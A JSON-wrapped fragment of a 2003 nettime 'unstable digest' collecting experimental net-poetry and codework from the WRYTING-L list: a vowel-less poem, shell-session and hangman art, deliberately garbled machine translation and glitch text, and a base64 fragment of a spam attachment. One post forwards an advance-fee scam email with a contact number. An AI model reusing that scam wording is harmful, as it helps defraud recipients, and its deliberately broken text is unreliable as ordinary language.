                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 72"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00073",
                "content": "\nDate:         Fri, 12 Dec 2003 16:57:01 -0800\nFrom: mIEKAL aND <dtv {AT} MWT.NET>\nSubject: BOOLEAN BALE BEAD\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n--Apple-Mail-4-628024201\n        charset=US-ASCII;\n        format=flowed\n\nWD BWD FLY BNDY NDL LYL LFY BN WNDY WD ND .\n\nNBLY W FLY D LYL W .\n\nNY WND WLD .\n\nBNDY BWD DLLY LN LND DN LWD DB BN WD WN .\n\nNWLY LNLY ND WLD N BN LDL LLN WLD BLNY .\n\nBWL DN .\n\nWLN BLD .\n\nL WDNLY BY FD LDN WL DL NB LLND .\n\nBD YW .\n\nDN F DN BL BL BLL DF .\n\nNW B BN BYLW DFY L BFLL .\n\nYW WL BLL .\n\nWL BLNY  LYL BNY BD .\n\nWYN LWBY LWLY WLDN WL WLD WYN .\n\nNFLD FLWD YN W BLD FL DN NY NY WLY .\n\nL YWN BD NLD DLY .\n\nLDN NL LN YWD BD FY FNDLY ND DWY FY .\n\nWND WND Y DL LN DWN DL LN BWLD LF .\n\nBWL YLL FWNY FLY WL LND LLW .\n\nFWND LLY L DN LF WNDY BLND .\n\nDLL FWL BND LFD F BLND BYD .\n\nL YL BND F BL LLY FLD DN BY ND NBDY .\n\nBYLW LNLY NY WLLN LB LFY LY LDY .\n\nFLL B LLWD FWN LW FLN FLNY BLY BWLD LF .\n\nWN FNDL BN FLDBL BLD FLWD .\n\nDW DN BLL .\n\nBYD LB FB BN LFLY B .\n\nLWBY FL LND BLD DWLL LF .\n\nWN FLDWY WND LWD DLY WLLN NW DB .\n\nFND WN FLYD FLD N .\n\nLBW FLY BLN BL BD N WLF FLWD .\n\nFLLW DY .\n\nWLL DN WDN L WN .\n\nFLW B L NDY FLW LBD FLW .\n\nWND YLL .\n\nL BLND WLDN BLNDLY BLL DWNY BWLD .\n\n\n--Apple-Mail-4-628024201\nContent-Type: text/enriched;\n        charset=US-ASCII\n\n<fontfamily><param>Geneva</param>WD BWD FLY BNDY NDL LYL LFY BN WNDY\nWD ND .\n\n\nNBLY W FLY D LYL W .\n\n\nNY WND WLD .\n\n\nBNDY BWD DLLY LN LND DN LWD DB BN WD WN .\n\n\nNWLY LNLY ND WLD N BN LDL LLN WLD BLNY .\n\n\nBWL DN .\n\n\nWLN BLD .\n\n\nL WDNLY BY FD LDN WL DL NB LLND .\n\n\nBD YW .\n\n\nDN F DN BL BL BLL DF .\n\n\nNW B BN BYLW DFY L BFLL .\n\n\nYW WL BLL .\n\n\nWL BLNY  LYL BNY BD .\n\n\nWYN LWBY LWLY WLDN WL WLD WYN .\n\n\nNFLD FLWD YN W BLD FL DN NY NY WLY .\n\n\nL YWN BD NLD DLY .\n\n\nLDN NL LN YWD BD FY FNDLY ND DWY FY .\n\n\nWND WND Y DL LN DWN DL LN BWLD LF .\n\n\nBWL YLL FWNY FLY WL LND LLW .\n\n\nFWND LLY L DN LF WNDY BLND .\n\n\nDLL FWL BND LFD F BLND BYD .\n\n\nL YL BND F BL LLY FLD DN BY ND NBDY .\n\n\nBYLW LNLY NY WLLN LB LFY LY LDY .\n\n\nFLL B LLWD FWN LW FLN FLNY BLY BWLD LF .\n\n\nWN FNDL BN FLDBL BLD FLWD .\n\n\nDW DN BLL .\n\n\nBYD LB FB BN LFLY B .\n\n\nLWBY FL LND BLD DWLL LF .\n\n\nWN FLDWY WND LWD DLY WLLN NW DB .\n\n\nFND WN FLYD FLD N .\n\n\nLBW FLY BLN BL BD N WLF FLWD .\n\n\nFLLW DY .\n\n\nWLL DN WDN L WN .\n\n\nFLW B L NDY FLW LBD FLW .\n\n\nWND YLL .\n\n\nL BLND WLDN BLNDLY BLL DWNY BWLD .\n\n</fontfamily><fontfamily><param>Times</param>\n\n</fontfamily>\n--Apple-Mail-4-628024201--\n\n\n\nDate:         Wed, 17 Dec 2003 18:03:01 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: hangman nikuko by extension\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nhangman nikuko by extension\n\n\n0;root {AT} localhost:~Gk : cd /usr/games\n0;root {AT} localhost:/usr/gamesGk : ./hangman\n(B)0?0h?0h;rmOl?hHJG______\n     |\nGuessed:\n\nH|Word #:\nCurrent Average:  0.000\n   __|_____Overall Average:  0.000\n   |      |___\n   |_________|\n\n Word:  ---------\nGuess:  nn---n\nNot a valid guess: ''\nini\nNot a valid guess: ''\nOXGuessed:  ikn\nNot a valid guess: ''\nu|\nNot a valid guess: ''\nAlready guessed 'k'\nNot a valid guess:\nouo\nNot a valid guess: ''!'\ntut\nNot a valid guess: ''\n {AT} a|\nNot a valid guess: ''\n {AT} ee-te\nNot a valid guess: ''\nx;0Hx\nNot a valid guess: '';0Hstuxs\nYou got it!K -extension\nAnother word?\nPlease type 'y' or\n'n'd?0l?0l?l>\n0;root {AT} localhost:/usr/gamesGk : exit\n\n\n__\n\n\n\nDate:         Wed, 17 Dec 2003 17:12:08 -0800\nFrom: \"achit!quasimodoyokai+qmul(e)\" <solipsis {AT} HEVANET.COM>\nSubject: Making provision for concert\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\nMaking provision for concert, practicing from morning, \nevening the telephone of \u0443\u0083\u0409 puzzle is applied, the \u0443\u0081\u0085 of \nevening? \"\u0443\u0081\u0085 of \u0443\u0081\u0081... \u0443\u0081\u0081, \u0443\u0082\u0401\u0443\u0083\u0413\u0443\u0083\u0087\u0443\u0083\u040c? \"The \u0443\u0081\u0403 \u0443\u0081\u0406 being young, \nthe \u0443\u0082\u008f\u0443\u0081\u0083 it seems -> voice of \u0443\u0082\u0413 of the \u0443\u0081\u0083 man! ! \"Me... it comes, \nit is the \u0443\u0081\u0085 John pole of the sibling\", even! ! ! Newly \u0443\u0081\u0083 sibling \nevening of \u0443\u0082\u0405\u0443\u0083\u040f\u0443\u0082\u0415 DOTDT becoming, \u0443\u0081\u0083 crack \u0443\u0083\u0086\u0443\u0083\u0402 \u0443\u0083\u0407 which \nunderstands! \u0443\u0083\u0089\u0443\u0083\u009f\u0443\u0083\u0413\u0443\u0082\u0414 encouraging with rear, when \u0443\u0082\u008b voice makes \napply hearing densely \u0443\u0081\u0087 \u0443\u0081\u0406 \u0443\u0082\u041f-> o the unreasonable \u0443\u0082\u0083 \u0443\u0082\u008a telephone \nsomehow, the \u0443\u0081\u0083 which is done? \u0443\u0081\u0085, \u0443\u0083\u0089\u0443\u0083\u009f\u0443\u0083\u0413\u0443\u0082\u0414 \u0443\u0081\u0403 cod \u0443\u0081\u0081? \u0443\u0083\u0093\u0443\u0083\u0083\u0443\u0082\u040f\u0443\u0083\u040a\n\u0443\u0083\u0089\u0443\u0083\u0083\u0443\u0082\u00ad\u0443\u0083\u040a it does and the \u0443\u0081\u0401\u0443\u0082\u0083 \u0443\u0081\u0085 is not the \u0443\u0081\u0089? It is dense the \u0443\u0081\u0089?\n It is \u0443\u0082\u0409 of the palpus \u0443\u0081\u0085? And \u0443\u0081\u0081? \u0443\u0081\u041e\u0443\u0081\u0081? ? ! ! ! \u0443\u0082\u0401\u0443\u0083\u0413\u0443\u0083\u0087\u0443\u0083\u040c, being delightful, \nround and round \u0448\u0418\u008a \u0443\u0081\u0403 \u0443\u0081\u0401\u0443\u0082\u0083 \u0443\u0081\u0085\u0443\u0083\u0407? (^_^) (^_) (^) () (^) (_^) (^_^) \n o the unreasonable \u0443\u0082\u0083 \u0443\u0082\u008a telephone somehow, the \u0443\u0081\u0083 which is done? \n\u0443\u0081\u0085, \u0443\u0083\u0089\u0443\u0083\u009f\u0443\u0083\u0413\u0443\u0082\u0414 \u0443\u0081\u0403 cod \u0443\u0081\u0081? \u0443\u0083\u0093\u0443\u0083\u0083\u0443\u0082\u040f\u0443\u0083\u040a\u0443\u0083\u0089\u0443\u0083\u0083\u0443\u0082\u00ad\u0443\u0083\u040a it does and the \u0443\u0081\u0401\u0443\u0082\u0083 \u0443\u0081\u0085 \nis not the \u0443\u0081\u0089? It is dense the \u0443\u0081\u0089? It is \u0443\u0082\u0409 of the palpus \u0443\u0081\u0085? And \u0443\u0081\u0081? \u0443\u0081\u041e\n\u0443\u0081\u0081? ? ! ! ! \u0443\u0082\u0401\u0443\u0083\u0413\u0443\u0083\u0087\u0443\u0083\u040c, being delightful, round and round \u0448\u0418\u008a \u0443\u0081\u0403 \u0443\u0081\u0401\u0443\u0082\u0083 \n\u0443\u0081\u0085\u0443\u0083\u0407? (^_^) (^_) (^) () (^) (_^) (^_^)\">\n\n\n\nDate:         Sat, 22 Nov 2003 19:06:48 -0800\nFrom: MWP <mpalmer {AT} JPS.NET>\nSubject: Translation\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nFiltering Rilke's first Sonette an Orpheus (1922) through the Earl of\nRochester's Upon Nothing (16??), using [$tseg] match values or fewer within\neach [$tseg] sample-segment.\n\n$tex1 = \"Da stieg ein Baum. [. . .]\";\n$tex2 = \"Nothing, thou Elder Brother even to Shade [. . .]\";\n\n#\n\n$tseg = 5;\n| 'st a | eing  | in, B | lf mu |  bein |  a be | steri | tingu | lder  |\nuishe | ing s | ng, t | rothe | ou ha | e Tim | ther  | and l |  sole | he\nwi | ng no | shed  | ts, b |  endi | lder  | the w | tingu | ing,  |  even |\nAnd f | ing,  | ing,  | t und | oundl | ng no | re Ti |  grea |  must | el\nli | and r | me an | ms de | rt al | eing  | least |  alon | nd to |  grea |\nnd ru |  bein |  must | e and |  grea | s, bi |  Shad | se di | hing  | ast\nu | , its | t und | othin | ast u | ng st | ing s | ir sh | lone  | d was |\nng er | ndles | at un | g str | ne. B | Elder | ng, S | fire, | . Gre | rchs\n|  bein |  line | ing,  | hen r | Hiber | and.  | who d |  bein | ou ha |\nbein | rothe | re, w | se di | eat u | me an | ing,  |  bein | tines | ceful\n| f mus | t und | least |  embr | alone | t uni |  bein | ugh m | ing,  |\nndles | ne of | ven t |  bein | ade,  | 's ha | f mus | u had |  Then | l\nemp | e Tim | rothe |\n\n$tseg = 4;\n| st a | eing | e in | u ha | as m | eir  | ven  | beas | eing | ingu | ng,\n| ther |  mus | ting | ng,  | othe | er B |  Tim | m th | der  |  and | sole\n| chs  | weig |  tho | chs  | bles | int  | der  | der  | rchs | eing | ng,\n| ing  | even | , An | gina | , Wi | t un |  And | land | ng,  |  Bro | e Ti\n|  rea |  mus | il t | der  | eing | u ha | se d | lf m | nera | ng e | et s\n| e an |  Eld | n to | grea |  und | ven  |  its |  und |  had | grea | is b\n| ch,  |  had | ies  | thin | at u |  its | ust  |  And | othi | u ha | ng,\n|  its | ins  | chs  | ole  | ies  |  wer | s, n | lone | ) ar |  mus | re n\n| er B | Elde | ng,  | ther | , Ti | ther |  str | thin | ole  | ing  | h in\n| re n | lder | ne.  |  And | e wo |  ben | u ha | e in | der  | en t | , wa\n| e di |  mus |  emp | gina | en,  | e in | en t | rchs | tful | u ha |  und\n| sole | en t | lder | eing | ing  | en t |  men | eagu | ng,  | dles | en P\n| t so |  ben | bein | ng,  |  had | cefu | st d | hou  | ven  | Time | e li\n| ime  | roth |\n\n$tseg = 3;\n|  Da | its | g e | ein | r B |  mu | g,  | ire | en  |  be | str | eig |\nngu | g,  | er  | the |  su | ins | ght | g,  | oth | er  | agu |  mi | s m\n| her | en  | d a | lde | st  |  wh | eig | d.  | oth |  se | sol |  it | nd\n| er  | der | chs | wei | ngu | g,  | ing | en  | ure |  An |  af | g,  |\nhin | ou  | nd  |  an | uld | ng  | Bro | . T | ire | e a |  su | thi | lde\n| d r | ing | en  | was | ed  | s m | ral | en  | lde | 'st | en  |  al |\nev |  no | aig | er  | und | er  | ins | , t | und | d a | er  | a b | is  |\nch, | d a | st  | e i | nci |  th | was |  Ti | st  | und | in  | tch | ou\n| st  | gns |  it | ns  | thi |  so | le  | ies |  wa | ner | s,  | And |\nner | ou  | st  | der | n.  | r B | lde | n,  |  Sh | ire | g,  | der |  th\n| chs | ein |  El | ein | in  | h i | ner | er  | der | n.  | And |  wo |\nbe | en  | usk | me  | ein | , H | the |  wa | r,  | lde | st  | ue  | f m |\ning | en, | e i | en  | the | str | hou |  of | was |  du | ven | stl | me\n| der | nal | gen |  mi | e t | ein | s m | agu | ng, | ed  | les | n P |\nof | the |  be | ben | g,  | d a | s c | hou | st  |  du | hin | en  | e T |\nlde |  mi | er  | her | id. |\n\n$tseg = 2;\n| Da | s  | it | eg |  e | in |  B | ou |  m | ,  | r  | ei | en | ,  | be |\nrs | et | ig | un | ng | ,  | ,  | pr | he | us | s  | in | ot | ,  | ,  |\nho | he | r  |  B | mu |  i |  m | th | er | ,  | nd |  a | El | es | s  |\nch | wi | eg | .  | No | ch | s  | el | bs |  t | in | d  | er | ,  | er |\nsc | wh | ei | gu | ng | g  | in | g  | en | ue | r  | An | af | ng | ,  |\nWi | in | u  | nd |  W | an | ld | un | g  | vo | er |  T | ei | er |  a |\nus |  S | it | El |  e | rd | an | eg | n  | ou | s  | de |  m | El | ar |\nen | g  | el | 's | et | n  | ha | ld |  v | on |  L | ag | er | u  | nd |\nG | en | is | ot | u  | nd | d  |  a | er | ag |  b | is | ch | ,  | ad | ,\n| is |  e | in | ch |  t | ou | s  | hi | st | u  | nd | n  | ic | th |  a |\nus |  A | ng | st |  i | n  | is | ch | s  | o  | el | is |  e | wa | er |\nn, | s  | on | de | rn |  a | us |  H | er | en | .  | Br | El | el | n, |\nS | ch | er | hi |  G | er | th | r  | sc | hi | en | k  | el | in |  i | n\n| hi | er | n  | de | er | en | .  | in | d  | wo |  e | be | n  | ha | mu |\ne | in |  e |  H | ot |  e | wa | r, | d  | ei | s  | ou |  e | mp | af | ng\n| en | ,  | ei | n  | in | et | rs | ch | ul | -f |  a | us | d  | un | ke |\nsl | et |  m | de | rl | an | eg | n  | im |  t | ei | en |  m | ou | ag |\nng | ,  | de | 's | en |  P | of | st | en |  b | be | en | ,  |  - | ad | s\n| ch | fu | st | d  | u  | hi | en | n  | de | mp | el |  i |  m | de | th |\ner |\n\n$tseg = 1;\n| D | a |   | s | t | i | e | g |   | e | i | n |   | B | a | u | m | . |\n| N |   | r | e | i | n | e |   | N | b | e | r | s | t | e | i | g | u | n\n| g | N |   | N |   | N | r | p | h | e | u | s |   | s | i | n | g | t | N\n|   | N |   | h | o | h | e | r |   | B | a | u | m |   | i | m |   | N | h\n| r | N |   | N | n | d |   | a | l | l | e | s |   | s | c | h | w | i | e\n| g | . |   | D | o | c | h |   | s | e | l | b | s | t |   | i | n |   | d\n| e | r |   | N | e | r | s | c | h | w | e | i | g | u | n | g |   | g | i\n| n | g |   | n | e | u | e | r |   | A | n | f | a | n | g | , |   | W | i\n| n | k |   | u | n | d |   | W | a | n | d | l | u | n | g |   | v | o | r\n| . |   | T | i | e | r | e |   | a | u | s |   | S | t | i | l | l | e |\n| d | r | a | n | g | e | n |   | a | u | s |   | d | e | m |   | k | l | a\n| r | e | n |   | g | e | l | N | s | t | e | n |   | W | a | l | d |   | v\n| o | n |   | L | a | g | e | r |   | u | n | d |   | G | e | n | i | s | t\n| ; |   | u | n | d |   | d | a |   | e | r | g | a | b |   | s | i | c | h\n| , |   | d | a | N |   | s | i | e |   | n | i | c | h | t |   | a | u | s\n|   | L | i | s | t |   | u | n | d |   | n | i | c | h | t |   | a | u | s\n|   | A | n | g | s | t |   | i | n |   | s | i | c | h |   | s | o |   | l\n| e | i | s | e |   | w | a | r | e | n | , |   | s | o | n | d | e | r | n\n|   | a | u | s |   | H | N | r | e | n | . |   | B | r | N | l | l | e | n\n| , |   | S | c | h | r | e | i | , |   | G | e | r | N | h | r |   | s | c\n| h | i | e | n |   | k | l | e | i | n |   | i | n |   | i | h | r | e | n\n|   | H | e | r | N | e | n | . |   | N | n | d |   | w | o |   | e | b | e\n| n |   | k | a | u | m |   | e | i | n | e |   | H | N | t | t | e |   | w\n| a | r | , |   | d | i | e | s |   | N | u |   | e | m | p | f | a | n | g\n| e | n | , |   | e | i | n |   | N | n | t | e | r | s | c | h | l | u | p\n| f |   | a | u | s |   | d | u | n | k | e | l | s | t | e | m |   | N | e\n| r | l | a | n | g | e | n |   | m | i | t |   | e | i | n | e | m |   | N\n| u | g | a | n | g | , |   | d | e | s | s | e | n |   | P | f | o | s | t\n| e | n |   | b | e | b | e | n | , |   | - |   | d | a |   | s | c | h | u\n| f | s | t |   | d | u |   | i | h | n | e | n |   | T | e | m | p | e | l\n|   | i | m |   | G | e | h | N | r | . |\n\n\n\n(c) mwp\n\n\n\nDate:         Wed, 17 Dec 2003 10:10:47 +0100\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nSubject: contact\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\n\n  ATTN:SIR\n  Permit me to inform you of my desire of going into business   relationship\n  with you. I got your name and contact from the chamber of commerce\n  andindustry. <><><><><>>>><<<<<<<<<<<<>\n\n  Anticipating to hear from you soon. You can contact me through my\n  telephonenumber +2348023331304.\n\n\n\n\n\n\n\n\n\n\n\n  -----Original Message-----\n  From: prence james [mailto:prencejames2003 {AT} fsmail.net]\n  Sent: mi\u0449rcoles, diciembre 17, 2003 2:30\n  To: undisclosed-recipients:\n  Subject: HELLO\n\n\n\n\n\n\n\n\n\nDate:         Mon, 8 Dec 2003 17:36:28 +0100\nFrom: Klas Oldanburg <noemata {AT} KUNST.NO>\nSubject: filename=\"Chat_rieur.pps\"\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nfilename=\"Chat_rieur.pps\"\n\nICQ ARCAINA\n\nHi\nSERATGC\nPklxeX\nAsia\nAQEA\nygg\nufo\nQAtREA\n\n\n0M8R4KGxGEAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAFAAAADgIAAAAAAAAA\nEAAAEAIAAEAAAD+////AAAYCAAAXAgAAGAIAABkCAAAPAA////////////////////////\n//////////////////////////////////////////////////////////////////////\n//////////////////////////////////////////////////////////////////////\n//////////////////////////////////////////////////////////////////////\n//////////////////////////////////////////////////////////////////////\n//////////////////////////////////////////////////////////////////////\n//////////////////////////////////////////////////////////////////////\n////////////////////////////////////////////////////////////////////+g\nRh3wO2QAAZvP+cnysRb4sA+bl4b//9j/4AAQSkZJRgABEAYABgAAD/2wBDABALDA4MChAO\nDQ4SERATGgaGBYWGDEjJR0M9PDkzODdASFxOQERXRTc41RV19iZ2hnPk1xeXBkeFxlZ2P/\n2wBDARESEgVGC8aGi9jQjhNjY2NjY2NjY2NjY2NjY2NjNjY2NjY2NjY2NjY2NjY2NjY2Nj\nY2NjY2NjYNjY2P/wAARCAIADASIAAhEBAxEB/8QAHwAAUBAQEBAQEAAAAAAAAAAAECAwQF\nBgcICQoL/QAtRAAAgEDAwIUFBAQAAAF9AQIDAAQRBRIhEGE1FhByJxFDKBkaEII0KxwRVS\n0fAkM2JygkKFhcYGRolJico0NTY3ODk6Q0RFRkdISUpTVWV1hZWmNkZWZnaGlqc3R1dnd4\neXqDhIWGhiJipKTlJWWl5iKjpKWmp6ipqrKztLW2t7i5LDxMXGx8jJytLT1NXW19jZ2uHi\n4+Tl5ufo6rx8vP09fb3+PnQAHwEAAwEBAQEBAQEBAQAAAAAAECAwQFBgcICQoL/8QAtREA\n\nISBN 82-92428-08-9\n\n\n\nDate:         Sat, 29 Nov 2003 15:36:42 -0500\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nSubject: the mess of reinsertion\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nthe mess of reinsertion\n\n\ngrep: spam: No such file\nor directory rm: spam:  No such file or\ndirectory remove\n/net/u/6/s/sondheim/.procmail/log? y k18% k18%\nls GoogleSearch.wsdl note Mail phoenix.hlp News\nphoenix.irc a spam lisp tf looply.pl tf-lib\nlynx_bookmarks.html tiny.world mail venom.irc\nmod volt.irc ng k19% k19% ^L ksh:  : not found\nk20 k32% ksh: phoenix.irc: not found k33% Usage:\n./tf [-L<dir>] [-f[<file>]] [-c<cmd>] [-nlq]\n[<world>] ./tf [-L<dir>] [-f[<file>]] [-c<cmd>]\n<host> <port> Options:\n\n\nthe mess of reinsertion grep: spam: No such file\nor directory rm: spam:  No such file or\ndirectory remove\n/net/u/6/s/sondheim/.procmail/log? y k18% k18%\nls GoogleSearch.wsdl note Mail phoenix.hlp News\nphoenix.irc a spam lisp tf looply.pl tf-lib\nlynx_bookmarks.html tiny.world mail venom.irc\nmod volt.irc ng k19% k19% ^L ksh:  : not found\nk20 k32% ksh: phoenix.irc: not found k33% Usage:\n./tf [-L<dir>] [-f[<file>]] [-c<cmd>] [-nlq]\n[<world>] ./tf [-L<dir>] [-f[<file>]] [-c<cmd>]\n<host> <port> Options:\n\ngrep: spam: No such file or directory rm:\nspam: No such file or directory remove\n/net/u/6/s/sondheim/.procmail/log? y k18% k18%\nls GoogleSearch.wsdl note Mail phoenix.hlp News\nphoenix.irc a spam lisp tf looply.pl tf-lib\nlynx_bookmarks.html tiny.world mail venom.irc\nmod volt.irc ng k19% k19% ^L ksh:  : not found\nk20 k32% ksh: phoenix.irc: not found k33% Usage:\n./tf [-L<dir>] [-f[<file>]] [-c<cmd>] [-nlq]\n[<world>]\n       ./tf [-L<dir>] [-f[<file>]] [-c<cmd>]\n<host> <port> Options:\n  -L<dir> use <dir> as library directory\n(%TFLIBDIR)\n  -f don't load personal config file (.tfrc)\n  -f<file> load <file> instead of config file\n  -c<cmd> execute <cmd> after loading config\nfile\n  -n no automatic first connection\n  -l no automatic login/password\n  -q quiet login\n  -v no automatic visual mode Arguments:\n  <host> hostname or IP address\n  <port> port number or name\n  <world> connect to <world> defined by\naddworld() k34% ksh: venom.irc: not found k35%\nksh: 21: not found\n\nyou can't go back there.\nnothing works in the wrong place.\nin this place your orders fall on deaf ears.\ntake them elsewhere.\n\n\n___\n\n\n\nDate:         Tue, 2 Dec 2003 18:43:16 +0100\nFrom: Klas Oldanburg <noemata {AT} KUNST.NO>\nSubject: =?iso-8859-1?Q?=D8=D8=D8sowO=F8or=D8?=\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nand peat after me  he jests atp cars  pairo\u0458\u0438\u0438\u0438\u0438\u0438\u0438o\ned per to die what i\u0438\u0438\u0438Of  side come with\u0438\u0438\u0438O. me .O\u0438\u0438\u0438\u0438.\nwhat is  sewd as*\u0438\u0438* loa\u0438f se*O\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438e.., \u0458\u0458\u0438\u0438\u0438O\u0458*or *\u0438\u0438.\nnot  to do wha\u0458\u0438\u0438\u0438\u0438\u0438\u0438O\u0458\u0438\u0438*\u0438\u0438\u0438\u0438Ot aw o\u0438r \u0438\u0438\u0438oo\u0458.som.oO\u0438\u0438\u0438\u0458\u0458*.\u0438*\neone    we ca\u0438\u0438\u0438n\u0438\u0438\u0438\u0438\u0438\u0438 *O\u0458O\u0438\u0438.r\u0438i\u0438\u0458O\u0458O\u0458*.de..O\u0438\u0438\u0438\u0438O* al\u0458\u0438.oo.\u0438\nl the other \u0438\u0438\u0438 \u0438\u0438*woho\u0438\u0438\u0438\u0438\u0458ao*t\u0438*\u0458o*o\u0458\u0458\u0458\u0438\u0438\u0438\u0438O. am i\u0458\u0438\u0438\u0438o d\u0438\u0438\u0438.\u0438\noing there.\u0438\u0458\u0438 \u0438i\u0438 \u0438 \u0438a\u0438.i\u0438r.\u0438\u0458oOoOooo\u0458o*. o*oo*\u0458o*\u0458\u0458k. \u0438\u0438\u0438en\u0438d\u0438\n  being unl\u0438o\u0438c\u0438k\u0438eOd\u0438 \u0438by opposi.o\u0458\u0458o*oo\u0458Oo.o\u0438\u0458o\u0438oO.n\u0438Og*O*\u0458\u0438 \u0438\n but sworn \u0438w\u0438hOo\u0438a\u0438t\u0438 i\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438O\u0438osO\u0458\u0458 \u0438*a\u0438y*\u0438O\u0458\u0438*\u0438.\n slef    he\u0438r\u0438*e\u0438 \u0438e\u0458y.O\u0438\u0458*e.\u0458\u0438\u0438\u0438\u0438O\u0458****o\u0458\u0438\u0438O\u0438o*Os\u0458.\u0458 t\u0438\u0438\u0438*\u0458\u0438O\u0438o \u0438\nyucan guest\u0438  \u0438m\u0438y\u0438 si*.gno*. in a battle  b..uOt\u0458 \u0438o\u0438\u0438o\u0438\u0438\u0438sowO\u0458or\u0438\nn my re.  n\u0438.O\u0438a\u0438\u0438\u0458\u0438\u0458\u0458me. .**.**.\\\"and for \\'eOm\u0438\u0438\u0438\u0438\u0438\u0458\u0438 \u0438i\u0438nv\u0438e\u0438nt\u0438\n  nay.o\u0438\u0438\u0438.\u0438oo\u0438\u0458\u0438\u0438O\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438o\u0458\u0458\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438 \u0438w*h\u0438a\u0438t\u0458\u0438\\\u0438'\u0438s \u0438o\nin n\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438*\u0438ig\u0438hto  that .**\u0458O\u0438\u0438\u0438\u0438\u0438\u0438Oowhic*h\u0438. \u0438w\u0438e\u0438 \u0438n\u0458\u0438o\u0438t\u0438 n\u0438.\nigO\u0438\u0438ht\u0438\u0438  \u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438O\u0458o*.not to *O\u0438\u0438\u0438\u0438OoO\u0438n.\u0438\u0458o\u0438\u0458o\u0438. \u0438o\u0438ne\u0438\n. \u0438v\u0458e\u0438\u0438sta\u0438. \u0438  \u0438 f\u0438a.\u0438\u0438\u0438\u0438\u0438\u0458o*ll ba.*\u0458\u0458\u0458\u0458oo\u0458\u0438\u0438\u0438ck\u0438*O\u0438 \u0438to\u0438 \u0438Ob\u0438e\u0458\u0438\n, \u0438 \u0438to\u0438Oha\u0438t\u0438\u0438\u0438O\u0438Oo\u0438. no cop\\o\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438Oo*'ll*\u0458O\u0438\u0438 o\u0438k.\u0438 O\u0438 \u0438th\u0438\nat*\u0438.O .O\u0438\u0438Ow\u0438\u0458h.\u0438a\u0438\u0438O\u0438\u0438\u0438\u0438\u0438\u0438OO\u0438*t a*OO\u0458\u0458\u0458o.**\u0458\u0438\u0438\u0458bo\u0438\u0438.O\u0438ut\u0438\u0438\u0438\u0438 \u0438\u0438\ntha.\u0438o.\u0458.t \u0438\u0438.po\u0438uO\u0438ck  t.*O\u0438\u0438*\u0438\u0438\u0438hem. g\u0458\u0438\u0438O\u0458e*oO\u0458\u0458O\u0438t u\u0438\u0438\u0438..\u0438\u0438*\nhf? w*OO\u0438\u0438\u0438\u0438oo\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438\u0438oh\u0438\u0438a\u0438ot\u0438 ?\u0438\u0438\u0438* noO\u0438o *\u0458\u0458 t.\u0438\u0438\u0438oo\u0438\u0438\u0458\nhere. to get \u0438*s\u0438moe\u0438\u0438\u0438thO\u0438in\u0438\u0438g\u0438\u0438 \u0438\u0458 t\u0458\u0438\u0438heo\u0438O\u0438\u0458o\u0438\u0438\u0438\u0438\u0438\u0438\u0438o\nre? not the\u0438\u0438ro\u0438\u0438\u0438\u0438oe. \u0458\u0438be\u0458\u0438oa\u0438\u0438O\u0438t \u0438\u0438* .\u0438\u0458o\u0438oo\u0458\u0458\u0438\u0438\u0438O\n  to zage\u0458\u0438\u0458\u0458\u0438\u0438O\u0438on\u0438 e\u0438oe\u0438\u0438Ot\u0438\u0438 O\u0438as\u0438\u0438 s\u0438\u0458t\u0438*r\u0438.e\u0438\u0438\net.  too\u0438\u0438.\u0438.\u0438 O\u0438t\u0438.o\u0438o\u0438\u0438\u0458d\u0438\u0438\u0438o*\u0438 os\u0438om\u0438e \u0438s\u0438oi\u0438\u0438\nbbuness\u0438\u0438,\u0438 \u0438 \u0438\u0438w\u0438he\u0438re is my v\u0438a\u0438\u0438i\u0438n\u0438..\u0438.\u0438 \u0438\u0438\nyour  w\u0438o\u0438u\u0438o\u0438\u0438nd\u0438O.\u0438 and yourO\u0438\u0438 m\u0438*\u0458\u0438o\u0438t\u0438h\u0438\u0458\ner ?  O\u0438y\u0438e\u0438l\u0438bow dO*evoO\u0438\u0438O\u0438\u0438\u0438en\u0438\u0438 \u0438\u0438s\u0438a\u0438y\u0438o\ns a big\n\n\npre.txt isbn 82-92428-13-5\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au\nFrom: \"][mez][\" <netwurker {AT} hotkey.net.au>\nSubject: Fwd: Re: Six O'Clock//pick_up.retell\nDate: Sat, 13 Dec 2003 17:35:45 +1100\n\n\n>Date: Sat, 13 Dec 2003 17:34:22 +1100\n>To: \"WRYTING-L : Writing and Theory across Disciplines\" \n><WRYTING-L {AT} LISTSERV.UTORONTO.CA>\n>From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n>Subject: Re: Six O'Clock//pick_up.retell\n>\n>At 11:24 PM 12/12/2003, you wrote:\n>>I wake up.\n>\n>i go2[home]:\n>\n>sleep [lite(ly) d(awn)usts s(ky)tatic]\n>\n>\n>>Get water.\n>\n>stop 